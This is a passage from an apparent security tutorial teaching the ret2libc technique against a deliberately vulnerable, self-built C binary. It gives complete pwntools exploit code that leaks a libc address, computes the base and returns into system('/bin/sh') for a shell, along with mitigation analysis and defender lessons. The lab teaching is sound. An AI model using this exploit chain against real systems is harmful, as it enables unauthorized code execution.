Returning into libc: the ret2libc Technique
NX is on and the binary is tiny, but libc is mapped and full of useful code. Leak its base past ASLR, then return straight into system("/bin/sh") — a full two-stage pwntools walkthrough.
This is the third walkthrough in the Exploitation Techniques area. The ROP guide built an execve syscall by hand from gadgets. Often there is a shorter path: the program is dynamically linked, so libc is mapped into the process — and libc contains both system() and the string "/bin/sh". Returning straight into system("/bin/sh") is ret2libc.
The catch is ASLR: libc's base is randomized, so we must leak it before we can use it. That two-stage shape — leak, then exploit — is the most important pattern in this guide, and it recurs everywhere in modern exploitation.
As always, we build the target ourselves and work in a disposable lab. See the lab rules.
The target
/* vuln.c — dynamically linked, NX on, canary off, no PIE. */
#include <stdio.h>
#include <unistd.h>
void vuln(void) {
char buf[64];
read(0, buf, 256); /* the bug: 256 bytes into 64 */
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c # dynamically linked
checksec shows NX on and, importantly, no PIE on the executable itself — so the binary's own PLT/GOT and gadgets are at fixed addresses. Only libc moves.
NX: NX enabled
PIE: No PIE (0x400000)
The offset to the return address is 72, found with the same cyclic method as before.
Stage 1 — leak a libc address
The plan: use a short ROP chain to call puts(puts@got) — that prints the runtime address stored in the GOT for puts, which is an address inside the loaded libc. Then return to main so the program reads our input a second time for stage 2.
# leak.py (stage 1 of the exploit)
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # the libc this binary runs
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
payload = b"A" * 72
payload += p64(pop_rdi) + p64(elf.got["puts"]) # rdi = &puts@got
payload += p64(elf.plt["puts"]) # call puts(that address)
payload += p64(elf.symbols["main"]) # return to main for stage 2
io = process("./vuln")
io.send(payload)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"] # recover libc base
log.success("puts@libc leak: %#x", leak)
log.success("libc base: %#x", libc.address)
libc.address = leak - libc.symbols["puts"] is the whole trick: the leak is base + offset_of_puts, and pwntools knows offset_of_puts for that libc, so subtracting gives the base. Once libc.address is set, pwntools resolves every other libc symbol at its correct runtime address.
Stage 2 — return into system("/bin/sh")
The program is now back at the start of main, waiting for input again. This time we send the real payload:
# ...continuing leak.py
binsh = next(libc.search(b"/bin/sh\x00")) # address of the string in libc
system = libc.symbols["system"]
ret = rop.find_gadget(["ret"])[0] # 16-byte stack alignment
payload2 = b"A" * 72
payload2 += p64(ret) # align the stack (movaps)
payload2 += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
payload2 += p64(system) # system("/bin/sh")
io.send(payload2)
io.interactive()
$ python3 leak.py
[+] puts@libc leak: 0x7f3c9e0a4ed0
[+] libc base: 0x7f3c9e01f000
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
The bare ret before the call fixes the same 16-byte alignment issue that bites every x86-64 libc call. Drop it and system tends to crash inside a movaps.
Doing it against a remote/unknown libc
Locally you know the libc. Remotely you do not — you leak one or two function addresses and identify the version from a libc database (the low 12 bits of a function's address are fixed by page alignment, which narrows candidates fast). Then you use that libc's offsets. Using the wrong version is the classic reason the computed base is wrong.
Turn the mitigations back on
PIE on the executable
With -no-pie, the PLT thunks and the pop rdi gadget were at fixed addresses, so stage 1 could run without any leak. Rebuild with -pie and even the ROP chain's gadget addresses randomize — now you need a leak before you can leak, which usually means a second bug or a partial-overwrite trick. PIE turns a one-bug exploit into a two-bug problem.
Shadow stack / CET
system is reached by a ret off our corrupted stack. A shadow stack (-fcf-protection=full, Intel CET) holds the real return address and mismatches on that ret, aborting before system runs.
Full RELRO is not the fix here
ret2libc does not touch the GOT, so RELRO does not stop it (that is the next guide's technique). This is worth internalizing: mitigations are targeted, and "we enabled RELRO" says nothing about ret2libc.
| Mitigation | Effect on ret2libc |
|---|---|
| Stack canary | Stops the overwrite before either stage runs |
| PIE + ASLR | Randomizes gadgets too; needs a leak before the leak |
| Shadow stack / CET | Aborts on the ret into system |
| Full RELRO | No effect — GOT is never written |
What this teaches a defender
- The leak is the linchpin. Most modern exploits are "leak, then act." An information-disclosure bug you might rate low on its own is often the enabler for a memory-corruption bug rated high. Triage them together — see reading crash reports.
- Ship PIE. Against a
-no-piebinary, stage 1 needed no leak at all. PIE is what forces the attacker to find a disclosure primitive first. checksecper binary, including libraries. A hardened main executable that loads a-no-pie, canary-less helper library inherits the weakest link.
Key takeaways
- ret2libc returns into a single libc function — usually
system("/bin/sh")— instead of hand-building a syscall. - ASLR forces a two-stage exploit: leak a resolved libc address, compute the base, then act.
libc.address = leak - libc.symbols[fn]recovers the base; match the exact libc version.- PIE and shadow stacks are the mitigations that bite here; RELRO does not, because ret2libc never touches the GOT.
Next: hijacking the GOT, where we do write to it — and Full RELRO finally matters.